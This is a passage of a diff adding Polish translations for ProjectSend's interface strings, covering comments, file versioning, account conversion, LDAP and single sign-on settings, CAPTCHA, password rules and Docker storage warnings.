przez centralnie zarządzany przekaźnik. Nadal możesz wybrać adres i nazwę nadawcy widoczne dla odbiorców.", + "Page": "Strona", + "Path prefix": "Prefiks ścieżki", + "Pending": "Oczekuje", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "Okresowo sprawdza publiczne repozytorium projectsend.org pod kątem nowszego wydania i pokazuje informację na pulpicie. Nic nie jest nigdy pobierane ani instalowane automatycznie.", + "Permanently failed": "Ostatecznie nieudane", + "Post comment": "Opublikuj komentarz", + "Preview of :name": "Podgląd :name", + "Previous month": "Poprzedni miesiąc", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "Klasyczny wygląd wiadomości ProjectSend — prosty i neutralny, pasuje do każdego motywu publicznego lub portalu.", + "ProjectSend :version is available": "Dostępny jest ProjectSend :version", + "Public folder": "Folder publiczny", + "Published :date": "Opublikowano :date", + "Queue": "Kolejka", + "Reassign them to another account": "Przypisz je do innego konta", + "Region": "Region", + "Remove a category": "Usuń kategorię", + "Remove categories": "Usuwanie kategorii", + "Rename folder": "Zmień nazwę folderu", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "Wymagane przez większość usług zgodnych z S3 (MinIO itp.). Zostaw wyłączone dla AWS S3.", + "Requires Upload files": "Wymaga uprawnienia „Przesyłanie plików”", + "Retry": "Ponów", + "Root": "Katalog główny", + "Scheduler": "Harmonogram", + "Scheduler settings": "Ustawienia harmonogramu", + "Search accounts…": "Szukaj kont…", + "Search and filter": "Szukaj i filtruj", + "Secret key": "Klucz tajny", + "Select files to bulk-edit them": "Zaznacz pliki, aby edytować je zbiorczo", + "Sender identity": "Tożsamość nadawcy", + "Set to…": "Ustaw na…", + "Share": "Udostępnij", + "Shared with client": "Udostępnione klientowi", + "Shared with me": "Udostępnione mnie", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "Udostępnienie folderu udostępnia całą jego zawartość, teraz i w przyszłości. Udostępnianiem zarządzasz na stronie edycji.", + "Someone commented on a file": "Ktoś skomentował plik", + "Sort by": "Sortuj według", + "Storage settings": "Ustawienia magazynu", + "Storage settings saved.": "Zapisano ustawienia magazynu.", + "Success: connected to bucket \":bucket\".": "Sukces: połączono z bucketem \":bucket\".", + "Task": "Zadanie", + "Test connection": "Sprawdź połączenie", + "Test result": "Wynik testu", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "To konto ma :files plik(ów) i :folders folder(ów). Co się z nimi ma stać?", + "This cannot be undone.": "Tej operacji nie można cofnąć.", + "This client has no accessible files yet.": "Ten klient nie ma jeszcze dostępnych plików.", + "This deletion is permanent": "To usunięcie jest trwałe", + "This file is public because it's inside the public folder \":name\".": "Ten plik jest publiczny, bo znajduje się w publicznym folderze \":name\".", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "Nie można usunąć tego folderu: zawiera :count plik, którego nie przesłałeś.|Nie można usunąć tego folderu: zawiera :count plików, których nie przesłałeś.", + "This removes it from the failed jobs list without retrying it.": "To usuwa je z listy nieudanych zadań bez ponawiania.", + "Total size": "Rozmiar łączny", + "To update, run:": "Aby zaktualizować, wykonaj:", + "Unavailable while external storage is active": "Niedostępne, dopóki aktywny jest magazyn zewnętrzny", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "W odróżnieniu od pliku wygasłego, osierocony nie ma wiersza w bazie do miękkiego usunięcia — gdy zniknie, nie ma odwrotu.", + "Unlimited storage": "Miejsce bez limitu", + "Update :count files": "Zaktualizuj zaznaczone pliki (:count)", + "Uploaded and shared": "Przesłane i udostępnione", + "Uploaded by client": "Przesłane przez klienta", + "Uploaded by me": "Przesłane przeze mnie", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "Przesłane przez klienta albo przypisane mu bezpośrednio, przez grupę lub przez udostępniony folder.", + "Uploading into \":name\".": "Przesyłanie do \":name\".", + "Upload settings saved.": "Zapisano ustawienia przesyłania.", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "Zapisano ustawienia przesyłania. Uwaga: zezwalanie na :extensions może być niebezpieczne — zostaw je na liście tylko wtedy, gdy rozumiesz ryzyko.", + "used": "wykorzystano", + "Used in the public folder URL.": "Używany w adresie URL folderu publicznego.", + "Use external storage for new uploads": "Używaj magazynu zewnętrznego dla nowych plików", + "Use path-style addressing": "Używaj adresowania w stylu ścieżki", + "View all downloads (:count)": "Pokaż wszystkie pobrania (:count)", + "View full history (:count)": "Pokaż pełną historię (:count)", + "View release notes": "Pokaż informacje o wydaniu", + "View release notes on GitHub": "Pokaż informacje o wydaniu na GitHubie", + "Visitor": "Odwiedzający", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "Niezalogowani odwiedzający mogą pisać tylko komentarze publiczne, więc to nie zadziała, dopóki nie zezwolisz na komentarze publiczne poniżej.", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "Co dzieje się z plikiem, gdy wygaśnie albo gdy pojawi się na dysku bez właściciela", + "Where": "Gdzie", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "Czy zaplanowane zadania faktycznie działają i które wiadomości z kolejki nie zostały wysłane", + "Who can comment on files, and which files accept comments": "Kto może komentować pliki i które pliki przyjmują komentarze", + "Who can see this": "Kto to widzi", + "Who can write a comment": "Kto może napisać komentarz", + "Write a comment…": "Napisz komentarz…", + "You cannot grant permissions your own role does not have: :permissions": "Nie możesz przyznać uprawnień, których nie ma Twoja własna rola: :permissions", + "You need upload permission to create folders": "Do tworzenia folderów potrzebujesz uprawnienia do przesyłania", + "Your comment will be reviewed before it appears.": "Twój komentarz zostanie sprawdzony, zanim się pojawi.", + "Your name": "Twoje imię", + "— No change —": "— Bez zmian —", + "Newest first": "Od najnowszych", + "Oldest first": "Od najstarszych", + "Name (A–Z)": "Nazwa (A–Z)", + "Name (Z–A)": "Nazwa (Z–A)", + "Largest first": "Od największych", + "Smallest first": "Od najmniejszych", + "Transfers": "Transfery", + "Top clients by storage": "Klienci zajmujący najwięcej miejsca", + "Largest files": "Największe pliki", + "Expired files": "Wygasłe pliki", + "A private note. Nobody else can read it, staff included.": "Prywatna notatka. Nikt inny jej nie przeczyta, także zespół.", + "Reply": "Odpowiedz", + "Replying to :name": "Odpowiedź do :name", + "The team working on this file. No client ever sees it.": "Zespół pracujący nad tym plikiem. Żaden klient tego nie widzi.", + "With :name": "Z :name", + "Your reply goes to :name only, and to staff.": "Twoja odpowiedź trafi tylko do :name i do zespołu.", + "Your reply goes to the same people as the comment above.": "Twoja odpowiedź trafi do tych samych osób co komentarz powyżej.", + "Public comments are turned off for this site.": "Komentarze publiczne są wyłączone w tej witrynie.", + "Only a file that is publicly visible can have public comments.": "Tylko plik widoczny publicznie może mieć komentarze publiczne.", + "The team, and everyone this file is shared with. Clients cannot see each other.": "Zespół i wszyscy, którym udostępniono ten plik. Klienci nie widzą się nawzajem.", + "Everyone above, plus anyone who opens this file without logging in.": "Wszyscy powyżej, a także każdy, kto otworzy ten plik bez logowania.", + "Not signed in": "Niezalogowany", + "New comment on \":name\"": "Nowy komentarz do \":name\"", + ":author commented on \":name\".": ":author skomentował(a) \":name\".", + ":author commented on \":name\"": ":author skomentował(a) \":name\"", + "Read the comment": "Przeczytaj komentarz", + ":count new comments": "Nowe komentarze: :count", + "There are :count new comments for you:": "Masz nowe komentarze (:count):", + "Someone": "Ktoś", + "New comment on a file": "Nowy komentarz do pliku", + "Multiple new comments (digest)": "Wiele nowych komentarzy (podsumowanie)", + "Marked the file \":subject\" as a revision of \":previous\"": "Oznaczył(a) plik \":subject\" jako nową wersję \":previous\"", + "Removed the version link from the file \":subject\"": "Usunął(-ęła) powiązanie wersji z pliku \":subject\"", + "A file was marked as a revision of another": "Oznaczono plik jako nową wersję innego", + "A file version link was removed": "Usunięto powiązanie wersji", + "A newer version of a file I have is available": "Dostępna jest nowsza wersja pliku, który mam", + "A newer version of \":previousName\" is available: :itemName": "Dostępna jest nowsza wersja \":previousName\": :itemName", + "A newer version of a file you have is available": "Dostępna jest nowsza wersja pliku, który masz", + "\":previous\" has been replaced by a newer version: \":name\".": "\":previous\" został zastąpiony nowszą wersją: \":name\".", + ":count files you have were replaced by newer versions": "Pliki, które masz, zastąpiono nowszymi wersjami (:count)", + "Newer versions of the following :count files are available:": "Dostępne są nowsze wersje następujących plików (:count):", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "Plik nie może być nową wersją samego siebie.", + "That file is already part of this file's version history.": "Ten plik już należy do historii wersji tego pliku.", + "That file has already been revised by \":name\". Remove that link first.": "Ten plik został już zastąpiony przez \":name\". Najpierw usuń to powiązanie.", + "That file has just been revised by another file. Reload and try again.": "Ten plik właśnie został zastąpiony przez inny plik. Odśwież stronę i spróbuj ponownie.", + "This version history is too long. Remove an older link first.": "Ta historia wersji jest zbyt długa. Najpierw usuń starsze powiązanie.", + "That file can't be used as the previous version.": "Tego pliku nie można użyć jako poprzedniej wersji.", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "Ten plik jest już udostępniony innym osobom, więc nie można oznaczyć go jako nowej wersji. Poproś swoją osobę kontaktową, żeby zrobiła to za Ciebie.", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "Ten plik jest nową wersją \":name\". Udostępnianiem zarządzaj przy \":name\" — każda wersja za nim podąża.", + "This file is a new version of another file, and is shared with the same people as that one.": "Ten plik jest nową wersją innego pliku i jest udostępniony tym samym osobom co tamten.", + "Versions": "Wersje", + "Mark this file as a newer version of something you uploaded before.": "Oznacz ten plik jako nowszą wersję czegoś, co przesłałeś wcześniej.", + "This version is outdated": "Ta wersja jest nieaktualna", + "It was replaced by \":name\".": "Została zastąpiona przez \":name\".", + "This file is a new version of": "Ten plik jest nową wersją", + "Remove link": "Usuń powiązanie", + "Mark as a new version": "Oznacz jako nową wersję", + "Version history": "Historia wersji", + "Version link removed.": "Usunięto powiązanie wersji.", + "This file is now marked as a new version of \":name\".": "Ten plik jest teraz oznaczony jako nowa wersja \":name\".", + "Share this file's recipients with the original?": "Przenieść odbiorców tego pliku na oryginał?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "Nowa wersja jest udostępniana tym samym osobom co oryginał. Ci odbiorcy tego pliku zostaną do niego dodani, żeby nikt nie stracił dostępu:", + "No other files are available to link to.": "Nie ma innych plików, z którymi można to powiązać.", + "Shared through \":name\"": "Udostępnione przez \":name\"", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "Ten plik jest nową wersją \":name\", więc jest udostępniony tym samym osobom. Zmiana tego, kto go widzi, oznacza zmianę tamtego pliku.", + "Edit sharing on \":name\"": "Edytuj udostępnianie \":name\"", + "You don't have permission to change who that file is shared with.": "Nie masz uprawnień, aby zmienić, komu udostępniono tamten plik.", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "To nowa wersja \":name\" i jest udostępniona tym samym osobom. Udostępnianiem zarządzaj przy tamtym pliku.", + "New version of": "Nowa wersja", + "Replaced by": "Zastąpiony przez", + "Outdated": "Nieaktualny", + "New version": "Nowa wersja", + "Replaced by :name": "Zastąpiony przez :name", + "Replaces :name": "Zastępuje :name", + "There is a newer version of this file": "Istnieje nowsza wersja tego pliku", + "This replaces": "To zastępuje", + "This is a new version of a file I uploaded before": "To nowa wersja pliku, który przesłałem wcześniej", + "Search your files…": "Szukaj w swoich plikach…", + "You have no earlier files that can be replaced.": "Nie masz wcześniejszych plików, które można zastąpić.", + "This file will be shared with the same people who have \":name\".": "Ten plik zostanie udostępniony tym samym osobom, które mają \":name\".", + ":name (group)": ":name (grupa)", + "Search files…": "Szukaj plików…", + "Search…": "Szukaj…", + "Searching…": "Szukanie…", + "No files match \":search\".": "Żaden plik nie pasuje do \":search\".", + "Nothing matches \":search\".": "Nic nie pasuje do \":search\".", + "A client account was converted to staff": "Przekształcono konto klienta w konto zespołu", + "A staff account was converted to a client": "Przekształcono konto zespołu w konto klienta", + "A client account was created from the directory": "Utworzono konto klienta na podstawie katalogu", + "Converted the client account \":subject\" to staff (:role)": "Przekształcił(a) konto klienta \":subject\" w konto zespołu (:role)", + "Converted the staff account \":subject\" to a client": "Przekształcił(a) konto zespołu \":subject\" w konto klienta", + "Created a client account from the directory on first sign-in": "Utworzył(a) konto klienta na podstawie katalogu przy pierwszym logowaniu", + "Convert accounts": "Przekształcanie kont", + "Convert": "Przekształć", + "Convert to client": "Przekształć w klienta", + "Convert to staff": "Przekształć w konto zespołu", + "Convert :name to a client": "Przekształć :name w klienta", + "Convert :name to staff": "Przekształć :name w konto zespołu", + "Client → staff": "Klient → zespół", + "Staff → client": "Zespół → klient", + "Move an account between staff and clients. Files they uploaded are always kept.": "Przenieś konto między zespołem a klientami. Przesłane pliki zawsze zostają zachowane.", + "They lose access to every staff screen immediately.": "Dostęp do wszystkich ekranów zespołu znika natychmiast.", + "They gain access to the staff screens their role allows.": "Pojawia się dostęp do ekranów zespołu, na które pozwala rola.", + "Will be revoked": "Zostanie odebrane", + "Will be revoked and cannot be undone": "Zostanie odebrane i nie da się tego cofnąć", + "Will be kept": "Zostanie zachowane", + "Nothing": "Nic", + "Nothing to keep": "Nie ma czego zachować", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "Przekształcenie z powrotem przywraca wszystko z sekcji „Zostanie zachowane”. Nie przywraca tego, co odebrano.", + ":files files and :folders folders they uploaded": "Pliki (:files) i foldery (:folders) przesłane przez to konto", + "No accounts match these filters.": "Żadne konto nie pasuje do tych filtrów.", + "Account converted to a client.": "Przekształcono konto w klienta.", + "Account converted to staff.": "Przekształcono konto w konto zespołu.", + "Approve or deny this account request before converting it.": "Zatwierdź lub odrzuć ten wniosek o konto przed jego przekształceniem.", + "You cannot convert your own account.": "Nie możesz przekształcić własnego konta.", + "New password": "Nowe hasło", + "New password (optional)": "Nowe hasło (opcjonalnie)", + "Leave blank to keep their current password.": "Zostaw puste, aby zachować obecne hasło.", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "To konto loguje się przez Twój katalog. Konta zespołu nigdy tego nie robią, więc potrzebuje tutaj hasła — inaczej w ogóle się nie zaloguje.", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "Ustaw hasło dla tego konta. Dziś loguje się przez Twój katalog, czego konta zespołu nigdy nie robią.", + "Tokens created": "Utworzone tokeny", + "Currently active": "Obecnie aktywne", + ":count active": "Aktywne: :count", + "1 permission": "1 uprawnienie", + ":count permissions": "Uprawnienia: :count", + "This token carries no permissions.": "Ten token nie niesie żadnych uprawnień.", + "This account has created API tokens before, but none are live now.": "To konto tworzyło już wcześniej tokeny API, ale żaden nie jest teraz aktywny.", + "This account has never created an API token.": "To konto nigdy nie utworzyło tokena API.", + "No longer granted to this account, so it does nothing.": "Nie jest już przyznane temu kontu, więc nic nie robi.", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": "Tylko :name może je tworzyć, zmieniać i unieważniać — administrator je widzi, ale nimi nie zarządza.", + "What this token is allowed to do through the API. It can never do more than :name may.": "Co ten token może robić przez API. Nigdy nie zrobi więcej, niż wolno :name.", + "LDAP": "LDAP", + "LDAP settings": "Ustawienia LDAP", + "LDAP settings saved.": "Zapisano ustawienia LDAP.", + "Directory": "Katalog", + "Connection": "Połączenie", + "Server": "Serwer", + "Base DN": "Bazowy DN", + "Service account DN": "DN konta serwisowego", + "Service account password": "Hasło konta serwisowego", + "Email attribute": "Atrybut e-mail", + "Name attribute": "Atrybut nazwy", + "Additional filter (optional)": "Dodatkowy filtr (opcjonalnie)", + "CA certificate path (optional)": "Ścieżka certyfikatu CA (opcjonalnie)", + "None (unencrypted)": "Brak (bez szyfrowania)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS (niejawny TLS)", + "Allow clients to sign in with a directory account": "Zezwól klientom na logowanie kontem z katalogu", + "Let clients sign in with their directory account. Staff always authenticate locally.": "Pozwól klientom logować się kontem z katalogu. Zespół zawsze uwierzytelnia się lokalnie.", + "Create an account on first sign-in": "Utwórz konto przy pierwszym logowaniu", + "Directory accounts are always created as clients, never as staff.": "Konta z katalogu są zawsze tworzone jako konta klientów, nigdy jako konta zespołu.", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "Osoba obecna w katalogu, ale bez konta tutaj, dostaje konto klienta i od razu zostaje zalogowana.", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "Osoba obecna w katalogu, ale bez konta tutaj, dostaje konto klienta, które czeka na zatwierdzenie we Wnioskach o konto.", + "Only people who already have an account here can sign in.": "Zalogować się mogą tylko osoby, które mają już tutaj konto.", + "Combined with the address match, to narrow who may sign in.": "Łączony z dopasowaniem adresu, aby zawęzić grono osób mogących się zalogować.", + "The attribute holding the address people sign in with — usually mail.": "Atrybut zawierający adres, którym ludzie się logują — zwykle mail.", + "Where in the tree to look for people.": "W którym miejscu drzewa szukać osób.", + "Leave blank to search anonymously.": "Zostaw puste, aby wyszukiwać anonimowo.", + "Stored encrypted, and never shown again.": "Przechowywane w postaci zaszyfrowanej i nigdy więcej niepokazywane.", + "Stored encrypted. Leave blank to keep the current one.": "Przechowywane w postaci zaszyfrowanej. Zostaw puste, aby zachować obecne.", + "For a directory presenting a certificate from your own certificate authority.": "Dla katalogu przedstawiającego certyfikat z Twojego własnego urzędu certyfikacji.", + "Unencrypted: the service account password and every client password cross the network in clear text.": "Bez szyfrowania: hasło konta serwisowego i hasło każdego klienta wędrują przez sieć jawnym tekstem.", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "Gdy hasło klienta nie zostanie rozpoznane lokalnie, jest sprawdzane w katalogu. Konta zespołu zawsze uwierzytelniają się lokalnie i nigdy tam nie trafiają.", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "Rozszerzenie PHP LDAP nie jest zainstalowane na tym serwerze, więc te ustawienia nie mogą zadziałać.", + "The PHP LDAP extension is not installed on this server.": "Rozszerzenie PHP LDAP nie jest zainstalowane na tym serwerze.", + "Saves are not required to test — but the test uses the settings as last saved.": "Do testu nie trzeba zapisywać — ale test korzysta z ustawień w postaci ostatnio zapisanej.", + "Test a sign-in": "Przetestuj logowanie", + "Email address (optional)": "Adres e-mail (opcjonalnie)", + "Password (optional)": "Hasło (opcjonalnie)", + "Connected and bound as the service account.": "Połączono i uwierzytelniono jako konto serwisowe.", + "Could not connect or bind as the service account: :error": "Nie udało się połączyć ani uwierzytelnić jako konto serwisowe: :error", + "Found a matching entry.": "Znaleziono pasujący wpis.", + "No directory entry matched that address under the base DN.": "Żaden wpis katalogu pod bazowym DN nie pasuje do tego adresu.", + "The directory rejected that password.": "Katalog odrzucił to hasło.", + "The search failed: :error": "Wyszukiwanie nie powiodło się: :error", + "The sign-in bind failed: :error": "Uwierzytelnianie przy logowaniu nie powiodło się: :error", + "Signed in successfully.": "Zalogowano pomyślnie.", + "1 item": "1 element", + ":count items": "Elementy: :count", + "1 API token": "1 token API", + ":count API tokens": "Tokeny API: :count", + "1 assigned client": "1 przypisany klient", + ":count assigned clients": "Przypisani klienci: :count", + "Managed by 1 staff member": "Zarządzane przez 1 osobę z zespołu", + "Managed by :count staff members": "Liczba opiekunów z zespołu: :count", + "1 group membership": "1 członkostwo w grupie", + ":count group memberships": "Członkostwa w grupach: :count", + "1 file shared with them": "1 plik udostępniony temu kontu", + ":count files shared with them": "Pliki udostępnione temu kontu: :count", + "Approve these accounts automatically": "Zatwierdzaj te konta automatycznie", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "Twój katalog już ustalił, kim są te osoby, więc nie ma kogo weryfikować. Zostaw to wyłączone, aby najpierw sprawdzać każdą z nich we Wnioskach o konto.", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "Klienci rejestrujący się sami są zatwierdzani automatycznie — to ustawienie jest niezależne i tego nie powiela.", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "Klienci rejestrujący się sami nadal czekają na zatwierdzenie — to ustawienie jest niezależne i tego nie zmienia.", + "Container filesystem": "System plików kontenera", + "Docker volume": "Wolumen Dockera", + "Files stored on": "Pliki przechowywane na", + "Host directory": "Katalog hosta", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "To znaczy, że docker compose down -v i docker volume prune usuwają je oba, a kopia zapasowa Twojego serwera może je całkowicie pominąć.", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "Nie leżą na żadnym wolumenie, więc przebudowa lub ponowne utworzenie tego kontenera trwale usunie każdy plik. Przenieś je do katalogu na hoście, zanim prześlesz cokolwiek więcej.", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "Przetrwają aktualizacje, ale leżą na wolumenie zarządzanym przez Dockera, a nie w katalogu, który wybrałeś.", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "Przetrwają aktualizacje, ale leżą na wolumenie Dockera :volume, a nie w katalogu, który wybrałeś.", + "Uploaded files are inside Docker": "Przesłane pliki są wewnątrz Dockera", + "Uploaded files are stored inside the container": "Przesłane pliki są przechowywane wewnątrz kontenera", + "1 more language available": "Dostępny jeszcze 1 język", + ":count more languages available": "Dostępnych kolejnych języków: :count", + ":left of :limit downloads left": "Pozostało pobrań: :left z :limit", + ":limit downloads per person": "Pobrań na osobę: :limit", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name będzie logować się samym hasłem, dopóki nie skonfiguruje tego ponownie, i otrzyma e-mail o tej zmianie. Jeśli na tej stronie wymagane jest uwierzytelnianie dwuskładnikowe, przy następnym logowaniu zostanie poproszony o ponowne włączenie go.", + ":provider accepted your secret key.": ":provider zaakceptował Twój klucz tajny.", + ":provider connected.": "Połączono z :provider.", + ":provider did not provide an email address, which is required to sign in.": ":provider nie podał adresu e-mail, który jest wymagany do logowania.", + ":provider disconnected.": "Odłączono :provider.", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": ":provider nigdy nie informuje, czy adres jest zweryfikowany, więc przy tej opcji włączonej może tworzyć nowe konta, ale nigdy nie zaloguje się do istniejącego. Połączenie z poziomu Ustawień, gdy jesteś już zalogowany, nadal działa.", + ":provider rejected your secret key.": ":provider odrzucił Twój klucz tajny.", + ":provider settings saved.": "Zapisano ustawienia :provider.", + ":used of :limit downloads used": "Wykorzystano pobrań: :used z :limit", + "A :provider account was connected": "Połączono konto :provider", + "A :provider account was disconnected": "Odłączono konto :provider", + "Accounts at :domain cannot sign in with :provider here.": "Konta z :domain nie mogą tutaj logować się przez :provider.", + "A client account was created from :provider": "Utworzono konto klienta na podstawie :provider", + "Allowed email domains": "Dozwolone domeny e-mail", + "Allow signing in with :provider": "Zezwól na logowanie przez :provider", + "Always a client account. Staff accounts are only ever created by an administrator.": "Zawsze konto klienta. Konta zespołu tworzy wyłącznie administrator.", + "Always available — the application is written in English, so it needs no translation file.": "Zawsze dostępny — aplikacja jest napisana po angielsku, więc nie potrzebuje pliku tłumaczenia.", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "Ten adres e-mail jest już używany przez konto, a :provider nie potwierdził, że należy on do Ciebie. Zaloguj się hasłem i połącz :provider w swoich ustawieniach.", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "Adres, którego dostawca nie potwierdził, nigdy nie zostanie dopasowany do konta, które już tu istnieje. Wyłączenie tej opcji oznacza, że każdy, kto może zarejestrować się u Twojego dostawcy na cudzy adres, może zalogować się jako ta osoba.", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "Administrator usunął uwierzytelnianie dwuskładnikowe z Twojego konta. Możesz je ponownie skonfigurować w ustawieniach zabezpieczeń. Skontaktuj się z administratorem, jeśli się tego nie spodziewałeś.", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "Każdy, kto może dotrzeć do pliku, widzi przypisane do niego kategorie — klient w swoim portalu lub ktokolwiek z linkiem publicznym albo udostępnionym. Zalogowani klienci mogą też filtrować swoje pliki według dowolnej kategorii z tej listy. Tylko Twój zespół może je tworzyć, zmieniać ich nazwy i usuwać.", + "Applies whenever a password is chosen, not when one is used to sign in": "Obowiązuje przy każdym wyborze hasła, a nie przy jego użyciu do logowania", + "Approve those accounts automatically": "Zatwierdzaj te konta automatycznie", + "A secret is stored. Leave this blank to keep it.": "Sekret jest zapisany. Zostaw puste, aby go zachować.", + "At least :count characters.": "Minimalna liczba znaków: :count.", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "Od 0.0 (traktuj wszystkich jak boty) do 1.0 (traktuj wszystkich jak ludzi). Zwykła wartość to 0.5.", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "CAPTCHA jest wyłączona. Wybierz dostawcę i wpisz jego klucze, aby ją włączyć.", + "CAPTCHA settings saved.": "Zapisano ustawienia CAPTCHA.", + "Categories are visible outside your team": "Kategorie są widoczne poza Twoim zespołem", + "Change yours": "Zmień swoją", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never leaves this server — only the first five characters of its hash are sent.": "Sprawdza nowe hasła w bazie wycieków Have I Been Pwned. Samo hasło nigdy nie opuszcza tego serwera — wysyłanych jest tylko pierwszych pięć znaków jego skrótu.", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "Sprawdza klucz tajny u Twojego dostawcy. Nikt nie musi rozwiązywać zadania.", + "Client ID": "Identyfikator klienta", + "Client registration": "Rejestracja klientów", + "Client secret": "Sekret klienta", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "Oddzielone przecinkami. Zostaw puste, aby zezwolić na dowolny adres.", + "Comments from visitors": "Komentarze odwiedzających", + "Complete the security check and try again.": "Ukończ sprawdzanie zabezpieczeń i spróbuj ponownie.", + "Configure it myself": "Skonfiguruję samodzielnie", + "Connected": "Połączono", + "Connected accounts": "Połączone konta", + "Connected the :provider account of \":subject\"": "Połączono konto :provider osoby „:subject”", + "Continue with :provider": "Kontynuuj przez :provider", + "Could not reach :provider: :error": "Nie udało się połączyć z :provider: :error", + "Created a client account from :provider on first sign-in": "Utworzono konto klienta na podstawie :provider przy pierwszym logowaniu", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "Daty i godziny w całej aplikacji są pokazywane w tej strefie. Wykryto ją z Twojej przeglądarki przy pierwszym logowaniu.", + "Default language": "Język domyślny", + "Directory (tenant) ID": "Identyfikator katalogu (dzierżawcy)", + "Disabled": "Wyłączone", + "Disconnect": "Odłącz", + "Disconnected the :provider account of \":subject\"": "Odłączono konto :provider osoby „:subject”", + "Downloaded :count time(s) so far. Your own downloads never count.": "Liczba pobrań do tej pory: :count. Twoje własne pobrania nigdy się nie liczą.", + "Download limit": "Limit pobrań", + "Download limit reached": "Osiągnięto limit pobrań", + "Each person separately": "Każda osoba osobno", + "Enabled": "Włączone", + "Enter a secret key first.": "Najpierw wpisz klucz tajny.", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any Microsoft tenant assert any email address.": "Wpisz konkretny identyfikator dzierżawcy. Współdzielone punkty końcowe „common”, „organizations” i „consumers” pozwalają dowolnemu dzierżawcy Microsoft podać dowolny adres e-mail.", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "Poniżej wymieniono wszystkie języki zainstalowane na tym serwerze. Zaznacz te, które chcesz udostępnić w menu języków — zespół, klienci i odwiedzający publicznie zobaczą tylko je. Instalacja kolejnego języka polega na dodaniu jego pliku tłumaczenia do folderu lang.", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "Istniejące hasła nigdy nie są sprawdzane ponownie, więc podniesienie tej wartości dotyczy tylko haseł wybieranych od teraz.", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "Łącznie, dla wszystkich", + "Issuer URL": "URL wystawcy", + "Languages": "Języki", + "Language settings": "Ustawienia języka", + "Leave empty for a file that can be downloaded any number of times.": "Zostaw puste dla pliku, który można pobrać dowolną liczbę razy.", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "Długość to najważniejszy czynnik decydujący o tym, jak trudno odgadnąć hasło, dlatego nie ma tu reguł typu „musi zawierać wielką literę” — pchają one ludzi ku przewidywalnym zamianom i krótszym hasłom.", + "Let people sign in with an account they already have somewhere else.": "Pozwól ludziom logować się kontem, które już gdzieś mają.", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "Minimalna długość", + "No limit": "Bez limitu", + "None selected": "Nic nie wybrano", + "No sign-in providers have been set up for this site.": "Dla tej strony nie skonfigurowano żadnych dostawców logowania.", + "Not connected": "Niepołączone", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "Wyłączone oznacza, że czekają w Prośbach o konto. Adres, którego dostawca nie zweryfikował, zawsze czeka, niezależnie od tego ustawienia.", + "Off — no CAPTCHA": "Wyłączone — bez CAPTCHA", + "OpenID Connect": "OpenID Connect", + "Or continue with": "Albo kontynuuj przez", + "Or sign 